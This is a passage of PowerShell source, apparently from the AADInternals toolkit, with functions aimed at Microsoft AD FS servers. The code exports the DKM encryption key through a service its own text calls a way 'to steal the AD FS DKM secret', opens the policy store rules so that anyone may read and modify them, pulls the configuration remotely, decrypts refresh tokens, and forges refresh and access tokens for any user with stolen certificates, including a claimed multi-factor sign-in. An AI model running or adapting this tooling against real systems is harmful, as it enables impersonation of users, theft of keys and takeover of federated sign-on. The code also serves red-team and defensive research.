.PARAMETER AsADFS If provided, "elevates" to ADFS service user. If used, the PowerShell session MUST be restarted to return original user's access rights. .PARAMETER ObjectGuid Object guid of the contact object containing the Key. .PARAMETER Server Ip-address or FQDN of domain controller. .PARAMETER Credentials Credentials of the user used to log in to DC and get the data by DSR. MUST have replication rights! .PARAMETER Configuration The ADFS configuration data (xml). .PARAMETER AsHex If provided, exports the Key as hex string .Example PS:\>$key = Export-AADIntADFSEncryptionKey -Local -Configuration $configuration .Example PS:\>$creds = Get-Credential PS:\>$key = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $creds -ObjectGuid 91491383-d748-4163-9e50-9c3c86ad1fbd #> [cmdletbinding()] Param( [Parameter(ParameterSetName="Local", Mandatory=$True)] [switch]$Local, [Parameter(ParameterSetName="Local", Mandatory=$True)] [xml]$Configuration, [Parameter(ParameterSetName="Sync", Mandatory= $True)] [guid]$ObjectGuid, [Parameter(ParameterSetName="Sync", Mandatory= $True)] [String]$Server, [Parameter(ParameterSetName="Sync", Mandatory= $True)] [pscredential]$Credentials, [switch]$AsHex ) Process { if($Local) # Export Key from the local ADFS server { # Check that we are on ADFS server if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null) { Write-Error "This command needs to be run on ADFS server" return } # If auto certificate rollover is disabled, certificates are in AD FS servers' certificate stores and KDM key not needed. if(-not (Get-AdfsProperties).AutoCertificateRollover) { Write-Verbose "Auto certificate rollover not enabled. DKM key not needed." return "<empty>" } $ADFSUser = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\adfssrv" -Name "ObjectName" | Select-Object -ExpandProperty "ObjectName" # Get key information using the service # The return value is a JSON file where the key is a hex string $keyInformation = Export-ADFSEncryptionKeyUsingService -Configuration $Configuration -ADFSUser $ADFSUser -ServiceName "AADInternals" -Description "A little service to steal the AD FS DKM secret :)" | ConvertFrom-Json # Check for errors if($keyInformation.Error) { Write-Error $keyInformation.Error return $null } $key = Convert-HexToByteArray -HexString ($keyInformation.Key) Write-Verbose "Key object guid: $($keyInformation.Guid), created $($keyInformation.Created)" } else # Export from remote DC using DSR { $key = Get-ADUserThumbnailPhoto -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid } Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)" if($AsHex) { Convert-ByteArrayToHex -Bytes $key } else { return $key } } } # May 5th 2021 # Sets configuration of the local ADFS server function Set-ADFSConfiguration { <# .SYNOPSIS Sets configuration of the local AD FS server. .DESCRIPTION Sets configuration of the local AD FS server (local database). .PARAMETER Configuration ADFS configuration (xml-document) .Example PS C:\>$authPolicy = Get-AADIntADFSPolicyStoreRules PS C:\>$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy PS C:\>Set-AADIntADFSConfiguration -Configuration $config #> [cmdletbinding()] Param( [Parameter(Mandatory= $True)] [xml]$Configuration ) Process { # Check that we are on ADFS server if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null) { Write-Error "This command needs to be run on ADFS server" return } # Get the database connection string $ADFS = Get-WmiObject -Namespace root/ADFS -Class SecurityTokenService $conn = $ADFS.ConfigurationDatabaseConnectionString Write-Verbose "ConnectionString: $conn" # Write the configuration to the database $strConfig = $Configuration.OuterXml $SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList $conn $SQLclient.Open() $SQLcmd = $SQLclient.CreateCommand() $SQLcmd.CommandText = "UPDATE IdentityServerPolicy.ServiceSettings SET ServiceSettingsData=@config" $SQLcmd.Parameters.AddWithValue("@config",$strConfig) | Out-Null $UpdatedRows = $SQLcmd.ExecuteNonQuery() $SQLclient.Close() Write-Verbose "Configuration successfully set ($($strConfig.Length) bytes)." } } # May 5th 2021 # Gets ADFS policy store authorisation policy function Get-ADFSPolicyStoreRules { <# .SYNOPSIS Gets AD FS PolicyStore Authorisation Policy rules .DESCRIPTION Gets AD FS PolicyStore Authorisation Policy rules .PARAMETER Configuration ADFS configuration (xml-document). If not given, tries to get configuration from the local database. .Example PS C:\>Get-AADIntADFSPolicyStoreRules | fl AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account" exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"]) => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true"); @RuleName = "Permit Local Administrators" exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"]) => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true"); AuthorizationPolicy : @RuleName = "Permit Service Account" exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"]) => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true"); @RuleName = "Permit Local Administrators" exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"]) => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true"); #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [xml]$Configuration ) Process { if(!$Configuration) { # Check that we are on ADFS server if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null) { Write-Error "This command needs to be run on ADFS server or provide the configuration with -Configuration parameter." return } [xml]$Configuration = Export-ADFSConfiguration -Local } $parameters = @{ "AuthorizationPolicy" = $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicy "AuthorizationPolicyReadOnly" = $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicyReadOnly } return New-Object psobject -Property $parameters } } # May 5th 2021 # Gets ADFS policy store authorisation policy function Set-ADFSPolicyStoreRules { <# .SYNOPSIS Sets AD FS PolicyStore Authorisation Policy rules .DESCRIPTION Sets AD FS PolicyStore Authorisation Policy rules and returns the modified configuration (xml document) .PARAMETER Configuration ADFS configuration (xml-document). If not given, tries to get configuration from the local database. .PARAMETER AuthorizationPolicy PolicyStore authorization policy. By default, allows all to modify. .PARAMETER AuthorizationPolicyReadOnly PolicyStore read-only authorization policy. By default, allows all to read. .Example PS C:\>$authPolicy = Get-AADIntADFSPolicyStoreRules PS C:\>$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy PS C:\>Set-AADIntADFSConfiguration -Configuration $config #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [xml]$Configuration, [Parameter(Mandatory=$False)] [string]$AuthorizationPolicy = '=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");', [Parameter(Mandatory=$False)] [string]$AuthorizationPolicyReadOnly = '=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");' ) Process { if(!$Configuration) { # Check that we are on ADFS server if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null) { Write-Error "This command needs to be run on ADFS server or provide the configuration with -Configuration parameter." return } [xml]$Configuration = Export-ADFSConfiguration -Local } $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicy = $AuthorizationPolicy $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicyReadOnly = $AuthorizationPolicyReadOnly return $Configuration.OuterXml } } # Exports the configuration remotely using Windows Communication Foundation (WCF) # May 20th 2021 function Export-ADFSConfigurationUsingWCF { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [string]$Server ) Begin { # Create the WCF client $WCFClassDefinition=@" using System.Runtime.Serialization; using System.Collections.Generic; using System.Collections; using System; namespace AADInternals { // DataContract definitions public interface IValueList : IList, ICollection, IEnumerable { } [DataContract(Name = "SearchResult", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class SearchResultData { [DataMember] public PropertySetDataList PropertySets { get { return this._propertySetList;} set {this._propertySetList = value;} } private PropertySetDataList _propertySetList = new PropertySetDataList(); } [CollectionDataContract(Name = "PropertySets", ItemName = "PropertySet", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class PropertySetDataList : List<PropertySetData> {} [CollectionDataContract(Name = "PropertySet", ItemName = "Property", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class PropertySetData : List<PropertyData> { } [CollectionDataContract(Name = "Values{0}", ItemName = "Value{0}", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class PropertyValueList<T> : List<T>, IValueList, IList, ICollection, IEnumerable {} [DataContract(Name = "Property", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] [KnownType(typeof(PropertyValueList<string>))] [KnownType(typeof(PropertyValueList<PropertySetData>))] public class PropertyData { public PropertyData() {} public PropertyData(string name) { this._name = name;} [DataMember(EmitDefaultValue = false, IsRequired = true)] public string Name { get {return this._name;}set{this._name = value;} } [DataMember(EmitDefaultValue = false, IsRequired = false)] public IValueList Values { get {return this._values; } set { this._values = value; } } private string _name; private IValueList _values = new PropertyValueList<string>(); } public enum SyncItemState { NotProcessed, Processing, Processed } [CollectionDataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class ServiceStateSummary : List<ServiceStateItem> {} [DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class ServiceStateItem { public ServiceStateItem(string serviceObjectType, long serialNumber, int schemaVersionNumber, DateTime lastUpdateTime) { this._serviceObjectType = serviceObjectType; this._serialNumber = serialNumber; this._schemaVersionNumber = schemaVersionNumber; this._lastUpdateTime = lastUpdateTime; this.NeedsUpdate = false; } [DataMember] public string ServiceObjectType { get { return this._serviceObjectType; } set { this._serviceObjectType = value;} } [DataMember] public long SerialNumber { get { return this._serialNumber; } set { this._serialNumber = value; } } [DataMember] public int SchemaVersionNumber { get { return this._schemaVersionNumber; } set { this._schemaVersionNumber = value; } } [DataMember] public DateTime LastUpdateTime { get { return this._lastUpdateTime; } set { this._lastUpdateTime = value;} } public bool SyncComplete { get { return this._syncCompleted; } set { this._syncCompleted = value; } } public bool NeedsUpdate { get; set; } public SyncItemState ProcessingState { get { return this._processingState; } set { this._processingState = value; } } private string _serviceObjectType; private long _serialNumber; private int _schemaVersionNumber; private DateTime _lastUpdateTime; private SyncItemState _processingState; private bool _syncCompleted; } public enum FarmBehavior { Unsupported = -1, None, Win2012R2, Threshold, Win2016, Win2019 } [DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public enum FilterOperation { [EnumMember] And, [EnumMember] Or } [DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public enum SimpleOperation { [EnumMember] Equals, [EnumMember] StartsWith, [EnumMember] EndsWith, [EnumMember] Contains, [EnumMember] NotEquals, [EnumMember] ScopeAppliesTo } [DataContract(Name = "If", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class SimpleConditionData { public SimpleConditionData() { } public SimpleConditionData(string property, SimpleOperation operation, string value) { this._property = property; this._value = value; this._op = operation; } [DataMember(EmitDefaultValue = true, IsRequired = true, Order = 0)] public string Property { get { return this._property; } set { this._property = value; } } [DataMember(EmitDefaultValue = true, IsRequired = true, Order = 1)] public SimpleOperation Operation { get { return this._op; } set { this._op = value; } } [DataMember(EmitDefaultValue = true, IsRequired = true, Order = 2)] public string Value { get { return this._value; } set { this._value = value; } } private SimpleOperation _op; private string _property; private string _value; } [CollectionDataContract(ItemName = "If", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class ConditionList : List<SimpleConditionData> { } [DataContract(Name = "Filter", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")] public class FilterData { public FilterData() { } public FilterData(FilterOperation operation) { this._bool = operation; } [DataMember(Name = "Conditions")] public ConditionList Conditions { get { return this._conditions; } set { this._conditions = value; } } [DataMember(Name = "Operation")] public FilterOperation Operation { get { return this._bool; } set { this._bool = value; } } private FilterOperation _bool; private ConditionList _conditions = new ConditionList(); } // PolicyStoreReadOnlyTransfer definitions [System.ServiceModel.ServiceContractAttribute(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore", ConfigurationName = "AADInternals.IPolicyStoreReadOnlyTransfer")] public interface IPolicyStoreReadOnlyTransfer { [System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetStateResponse")] SearchResultData GetState(string serviceObjectType, string mask=null, FilterData filter = null, int clientVersionNumber = 1); [System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetHeaders", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetHeadersResponse")] ServiceStateSummary GetHeaders(); [System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetFarmBehavior", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetFarmBehaviorResponse")] FarmBehavior GetFarmBehavior(); } public interface IPolicyStoreReadOnlyTransferChannel : AADInternals.IPolicyStoreReadOnlyTransfer, System.ServiceModel.IClientChannel { } [System.Diagnostics.DebuggerStepThroughAttribute()] public partial class PolicyStoreReadOnlyTransferClient : System.ServiceModel.ClientBase<AADInternals.IPolicyStoreReadOnlyTransfer>, AADInternals.IPolicyStoreReadOnlyTransfer { public PolicyStoreReadOnlyTransferClient() { } public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName) : base(endpointConfigurationName) { } public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName, string remoteAddress) : base(endpointConfigurationName, remoteAddress) { } public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName, System.ServiceModel.EndpointAddress remoteAddress) : base(endpointConfigurationName, remoteAddress) { } public PolicyStoreReadOnlyTransferClient(System.ServiceModel.Channels.Binding binding, System.ServiceModel.EndpointAddress remoteAddress) : base(binding, remoteAddress) { } public SearchResultData GetState(string serviceObjectType, string mask = null, FilterData filter = null, int clientVersionNumber = 1) { return base.Channel.GetState(serviceObjectType, mask, filter, clientVersionNumber); } public ServiceStateSummary GetHeaders() { return base.Channel.GetHeaders(); } public FarmBehavior GetFarmBehavior() { return base.Channel.GetFarmBehavior(); } } } "@ Add-Type -TypeDefinition $WCFClassDefinition -ReferencedAssemblies "System.ServiceModel","System.Runtime.Serialization" Remove-Variable "WCFClassDefinition" } Process { # Form the url $adfsUrl = "http://$Server/adfs/services/policystoretransfer" # Create the binding object and set the maximum message size & string lenght to same AD FS is using [System.ServiceModel.WSHttpBinding]$binding = [System.ServiceModel.WSHttpBinding]::new() $binding.MaxReceivedMessageSize = 20971520 $binding.ReaderQuotas.MaxStringContentLength = 20971520 # Instantiate the client and get ServiceSettings [AADInternals.PolicyStoreReadOnlyTransferClient]$client = [AADInternals.PolicyStoreReadOnlyTransferClient]::new($binding,[System.ServiceModel.EndpointAddress]::new($adfsUrl)) $result = $client.getState("ServiceSettings") $client.Close() # Loop through the results and return the settings foreach($property in $result.PropertySets[0]) { if($property.Name -eq "ServiceSettingsData") { return $property.Values[0] } } } } # Decrypt ADFS RefreshToken # Oct 28th 2021 function Unprotect-ADFSRefreshToken { <# .SYNOPSIS Decrypts and verifies the given AD FS generated Refresh Token with the given certificates. .DESCRIPTION Decrypts and verifies the given AD FS generated Refresh Token with the given certificates. .PARAMETER RefreshToken AD FS generated RefreshToken. .PARAMETER PfxFileName_encryption Name of the PFX file of token encryption certificate. .PARAMETER PfxPassword_encryption Password of the token encryption PFX file. Optional. .PARAMETER PfxFileName_signing Name of the PFX file of token signing certificate. Optional. If not provided, refresh token is not verified. .PARAMETER PfxPassword_signing Password of the token signing PFX file. Optional. .Example PS C:\>Unprotect-ADFSRefreshToken -RefreshToken $token -PfxFileName_encryption .\ADFS_encryption.pfx -PfxFileName_signing .\ADFS_signing.pfx ClientID : 5846ec9c-1cd7-4040-8630-6ae82d6cdfd3 RedirectUri : Resource : urn:microsoft:userinfo Issuer : http://sts.company.com/adfs/services/trust NotBefore : 1635414030 ExpiresOn : 1635442830 SingleSignOnToken : {"TokenType":0,"StringToken":"vVV[redacted]W/gE=","Version":1} DeviceFlowDeviceId : IsDeviceFlow : False SessionKeyString : SSOToken : <SessionToken>[redacted]</SessionToken> #> [cmdletbinding()] Param( [Parameter(Mandatory=$True,ValueFromPipeLine)] [String]$RefreshToken, [Parameter(Mandatory=$True)] [string]$PfxFileName_encryption, [Parameter(Mandatory=$False)] [string]$PfxPassword_encryption, [Parameter(Mandatory=$False)] [string]$PfxFileName_signing, [Parameter(Mandatory=$False)] [string]$PfxPassword_signing ) Begin { $certificate_encryption = Load-Certificate -FileName $PfxFileName_encryption -Password $PfxPassword_encryption -Exportable [System.Security.Cryptography.RSACryptoServiceProvider]$privateKey_encryption = Load-PrivateKey -Certificate $certificate_encryption if($PfxFileName_signing) { $certificate_signing = Load-Certificate -FileName $PfxFileName_signing -Password $PfxPassword_signing -Exportable } } Process { # Separate token and signature $tokenParts = $RefreshToken.Split(".") $enc_refresh_token = (Convert-B64ToByteArray -B64 $tokenParts[0]) $signature = (Convert-B64ToByteArray -B64 $tokenParts[1]) # Verify the signature if the signing certificate provided if($certificate_signing) { $valid = $certificate_signing.PublicKey.Key.VerifyData($enc_refresh_token,"SHA256",$signature) if(!$valid) { Write-Warning "Invalid signature or signing certificate!" } Write-Verbose "Refresh token signature validated." } # Get the refresh token components $p = 0 $hash = $enc_refresh_token[$p..($p+32-1)] ; $p+=32 $enc_Key_IV_len = [bitconverter]::ToUInt32($enc_refresh_token[$p..($p+3)],0); $p+=4 $enc_Key_IV = $enc_refresh_token[($p)..($p + $enc_Key_IV_len -1)]; $p+= $enc_Key_IV_len $enc_token_len = [bitconverter]::ToUInt32($enc_refresh_token[$p..($p+3)],0); $p+=4 $enc_token = $enc_refresh_token[($p)..($p + $enc_token_len -1)] # Compare the hash $sha256 = [System.Security.Cryptography.SHA256]::Create() $comp_hash = $sha256.ComputeHash([text.encoding]::UTF8.GetBytes($privateKey_encryption.ToXmlString($false))) if(Compare-Object -ReferenceObject $hash -DifferenceObject $comp_hash -SyncWindow 0) { Write-Error "Invalid decryption certificate (hash doesn't match)." return } Write-Verbose "Decryption key hash validated." # Decrypt Key and IV $dec_Key_IV = $privateKey_encryption.Decrypt($enc_Key_IV, $True) $dec_Key = $dec_Key_IV[ 0..31] $dec_IV = $dec_Key_IV[32..48] # Decrypt the refresh token $Crypto = [System.Security.Cryptography.RijndaelManaged]::Create() $Crypto.Mode = "CBC" $Crypto.Padding = "PKCS7" $Crypto.Key = $dec_Key $Crypto.IV = $dec_IV $decryptor = $Crypto.CreateDecryptor() $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($enc_token,0,$enc_token.Count) $cs.Close() $cs.Dispose() $dec_refresh_token = [text.encoding]::UTF8.GetString($ms.ToArray()) $ms.Close() $ms.Dispose() # Convert from json $refresh_token = $dec_refresh_token | ConvertFrom-Json # Get the deflated SSOToken [byte[]]$def_SSOToken = Convert-B64ToByteArray(($refresh_token.SingleSignOnToken | ConvertFrom-Json).StringToken) # Get the binary xml SSOToken $bxml_SSOToken = Get-DeDeflatedByteArray -byteArray $def_SSOToken # Get the xml SSOTOken $xml_SSOToken = BinaryToXml -xml_bytes $bxml_SSOToken -Dictionary (Get-XmlDictionary -type Session) # Set the SSOToken and return $refresh_token | Add-Member -NotePropertyName "SSOToken" -NotePropertyValue $xml_SSOToken.outerxml $refresh_token } End { Unload-PrivateKey -PrivateKey $privateKey_encryption } } # Create a new ADFS RefreshToken # Oct 28th 2021 function New-ADFSRefreshToken { <# .SYNOPSIS Creates a new AD FS Refresh Token with the given certificate. .DESCRIPTION Creates a new AD FS Refresh Token with the given certificate. .PARAMETER NotBefore The time after the refresh token is valid. Defaults to current time. .PARAMETER ExpiresOn The time when the refresh token is invalidated. Defaults to 8 hours from the current time. .PARAMETER UserPrincipalName UserPrincipalName of the user. .PARAMETER Name DisplayName of the user. Optional. .PARAMETER ClientID GUID of the client id. The client MUST be configured in the target AD FS server. .PARAMETER Resource The resource (uri) of the refresh token. .PARAMETER Issuer The uri of the issuing party .PARAMETER RedirectUri The redirect uri. Optional. .PARAMETER PfxFileName_encryption Name of the PFX file of token encryption certificate. .PARAMETER PfxPassword_encryption Password of the token encryption PFX file. Optional. .PARAMETER PfxFileName_signing Name of the PFX file of token signing certificate. .PARAMETER PfxPassword_signing Password of the token signing PFX file. Optional. .Example $refresh_token = New-AADIntADFSRefreshToken -UserPrincipalName "[email protected]" -Resource "urn:microsoft:userinfo" -Issuer "http://sts.company.com/adfs/services/trust" -PfxFileName_encryption .\ADFS_encryption.pfx -PfxFileName_signing .\ADFS_signing.pfx -ClientID "5846ec9c-1cd7-4040-8630-6ae82d6cdfd3" $body=@{ "client_id" = "5846ec9c-1cd7-4040-8630-6ae82d6cdfd3" "refresh_token" = $refresh_token "grant_type" = "refresh_token" } $response = Invoke-RestMethod -UseBasicParsing -Uri "https://sts.company.com/adfs/services/trust/adfs/oauth2/token" -Method Post -Body $body $access_token = $response.access_token #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [DateTime]$NotBefore = (Get-Date), [Parameter(Mandatory=$False)] [DateTime]$ExpiresOn = ((Get-Date).AddHours(8)), [Parameter(Mandatory=$True)] [String]$UserPrincipalName, [Parameter(Mandatory=$False)] [String]$Name, [Parameter(Mandatory=$True)] [guid]$ClientID, [Parameter(Mandatory=$True)] [String]$Resource, [Parameter(Mandatory=$True)] [String]$Issuer, [Parameter(Mandatory=$False)] [String]$RedirectUri, [Parameter(Mandatory=$True)] [String]$PfxFileName_encryption, [Parameter(Mandatory=$False)] [String]$PfxPassword_encryption, [Parameter(Mandatory=$True)] [String]$PfxFileName_signing, [Parameter(Mandatory=$False)] [String]$PfxPassword_signing ) Begin { $certificate_encryption = Load-Certificate -FileName $PfxFileName_encryption -Password $PfxPassword_encryption $certificate_signing = Load-Certificate -FileName $PfxFileName_signing -Password $PfxPassword_signing -Exportable $privateKey_signing = Load-PrivateKey -Certificate $certificate_signing } Process { # Generate Session Token $Key = Get-RandomBytes -Bytes 16 [xml]$xml_SessionToken =@" <SessionToken> <Version>1</Version> <SecureConversationVersion>http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512</SecureConversationVersion> <Id>_$((New-Guid).ToString())-$(Convert-ByteArrayToHex -Bytes (Get-RandomBytes -Bytes 16))</Id> <ContextId>urn:uuid:$((New-Guid).ToString())</ContextId> <Key>$(Convert-ByteArrayToB64 -Bytes $Key)</Key> <KeyGeneration>urn:uuid:$((New-Guid).ToString())</KeyGeneration> <EffectiveTime>$($NotBefore.Ticks)</EffectiveTime> <ExpiryTime>$($ExpiresOn.Ticks)</ExpiryTime> <KeyEffectiveTime>$($NotBefore.Ticks)</KeyEffectiveTime> <KeyExpiryTime>$($ExpiresOn.Ticks)</KeyExpiryTime> <ClaimsPrincipal> <Identities> <Identity NameClaimType="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" RoleClaimType="http://schemas.microsoft.com/ws/2008/06/identity/claims/role"> <ClaimCollection> <Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2014/01/identity/claims/anchorclaimtype" Value="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" ValueType="http://www.w3.org/2001/XMLSchema#string"/> <Claim Issuer="AD AUTHORITY" OriginalIssuer="AD AUTHORITY" Type="http://schemas.microsoft.com/ws/2008/06/identity/claims/authenticationinstant" Value="$($NotBefore.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+".000Z")" ValueType="http://www.w3.org/2001/XMLSchema#dateTime"/> <Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" Value="$UserPrincipalName" ValueType="http://www.w3.org/2001/XMLSchema#string"/> <Claim Issuer="LOCAL AUTHORITY" OriginalIssuer="LOCAL AUTHORITY" Type="http://schemas.microsoft.com/claims/authnmethodsreferences" Value="http://schemas.microsoft.com/claims/multipleauthn" ValueType="http://www.w3.org/2001/XMLSchema#string"/> </ClaimCollection> </Identity> </Identities> </ClaimsPrincipal> <EndpointId/> </SessionToken> "@ $sessionToken = Get-DeflatedByteArray -byteArray (XmlToBinary -xml_doc $xml_SessionToken -Dictionary (Get-XmlDictionary -Type Session)) # Construct the refresh token $refresh_token = [ordered]@{ "ClientID" = $ClientID.ToString() "RedirectUri" = $RedirectUri "Resource" = $Resource "Issuer" = $Issuer "NotBefore" = [int]($NotBefore-$epoch).TotalSeconds "ExpiresOn" = [int]($ExpiresOn-$epoch).TotalSeconds "SingleSignOnToken" = @{ "TokenType" = 0 "StringToken" = Convert-ByteArrayToB64 -Bytes $sessionToken "Version" = 1 } | ConvertTo-Json -Compress "DeviceFlowDeviceId" = $null "IsDeviceFlow" = $false "SessionKeyString" = $null } | ConvertTo-Json -Compress $dec_token = [text.encoding]::UTF8.GetBytes($refresh_token) # Create IV and key $dec_IV = Get-RandomBytes -Bytes 16 $dec_Key = Get-RandomBytes -Bytes 32 # Encrypt the refresh token $Crypto = [System.Security.Cryptography.RijndaelManaged]::Create() $Crypto.Mode = "CBC" $Crypto.Padding = "PKCS7" $Crypto.Key = $dec_Key $Crypto.IV = $dec_IV $decryptor = $Crypto.CreateEncryptor() $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($dec_token,0,$dec_token.Count) $cs.Close() $cs.Dispose() $enc_token = $ms.ToArray() $ms.Close() $ms.Dispose() # Encrypt Key Iv block $enc_Key_IV = New-Object Byte[] 48 [Array]::Copy($dec_Key,$enc_Key_IV,32) [Array]::Copy($dec_IV,0,$enc_Key_IV,32,16) $dec_Key_IV=$certificate_encryption.PublicKey.Key.Encrypt($enc_Key_IV, $True) # Get the encryption key hash $sha256 = [System.Security.Cryptography.SHA256]::Create() $hash = $sha256.ComputeHash([text.encoding]::UTF8.GetBytes($certificate_encryption.PublicKey.Key.ToXmlString($false))) # Create the block $buffer = New-Object System.IO.MemoryStream $buffer.Write($hash,0,$hash.Length) $buffer.Write([bitconverter]::GetBytes([uint32]$dec_Key_IV.Length),0,4) $buffer.Write($dec_Key_IV,0,$dec_Key_IV.Length) $buffer.Write([bitconverter]::GetBytes([uint32]$enc_token.Length),0,4) $buffer.Write($enc_token,0,$enc_token.Length) $buffer.Flush() $enc_refresh_token = $buffer.ToArray() $buffer.Dispose() # Sign the token # Store the public key $cspParameters = [System.Security.Cryptography.CspParameters]::new() $cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" $cspParameters.ProviderType = 24 $cspParameters.KeyContainerName ="AADInternals" # Get the private key from the certificate $publicKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters) $publicKey.ImportParameters($certificate_signing.PublicKey.Key.ExportParameters($False)) $signature = $privateKey_signing.SignData($enc_refresh_token,"SHA256") # Return return "$(Convert-ByteArrayToB64 -Bytes $enc_refresh_token -UrlEncode).$(Convert-ByteArrayToB64 -Bytes $signature -UrlEncode)" } End { Unload-PrivateKey -PrivateKey $privateKey_signing } } # Create a new ADFS Access Token # Nov 1st 2021 function New-ADFSAccessToken { <# .SYNOPSIS Creates a new AccessToken and signs it with the given certificates. .DESCRIPTION Creates a new AccessToken and signs it with the given certificates. #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [DateTime]$NotBefore = (Get-Date), [Parameter(Mandatory=$False)] [DateTime]$ExpiresOn = ((Get-Date).AddHours(8)), [Parameter(Mandatory=$False)] [String]$UserPrincipalName, [Parameter(Mandatory=$False)] [String]$Name, [Parameter(Mandatory=$True)] [guid]$ClientID, [Parameter(Mandatory=$True)] [String]$Resource, [Parameter(Mandatory=$False)] [String]$Scope="openid", [Parameter(Mandatory=$True)] [String]$Issuer, [Parameter(Mandatory=$True)] [String]$PfxFileName_signing, [Parameter(Mandatory=$False)] [String]$PfxPassword_signing ) Begin { $certificate_signing = Load-Certificate -FileName $PfxFileName_signing -Password $PfxPassword_signing -Exportable $privateKey_signing = Load-PrivateKey -Certificate $certificate_signing } Process { # Construct the refresh token $payLoad = [ordered]@{ "aud" = $Resource "iss" = $Issuer "iat" = [int]($NotBefore-$epoch).TotalSeconds "nbf" = [int]($NotBefore-$epoch).TotalSeconds "exp" = [int]($ExpiresOn-$epoch).TotalSeconds "sub" = $Name "apptype" = "Public" "appid" = $ClientID "authmethod" = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" "auth_time" = "$($NotBefore.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+".000Z")" "ver" = "1.0" "scp" = $Scope } $certHash = Convert-ByteArrayToB64 -bytes $certificate_signing.GetCertHash() -UrlEncode -NoPadding $header = [ordered]@{ "typ" = "JWT" "alg" = "RS256" "x5t" = $certHash "kid" = $certHash } $jwt = New-JWT -PrivateKey $privateKey_signing -Header $header -Payload $payLoad return $jwt } End { Unload-PrivateKey -PrivateKey $privateKey_signing } } # Exports the 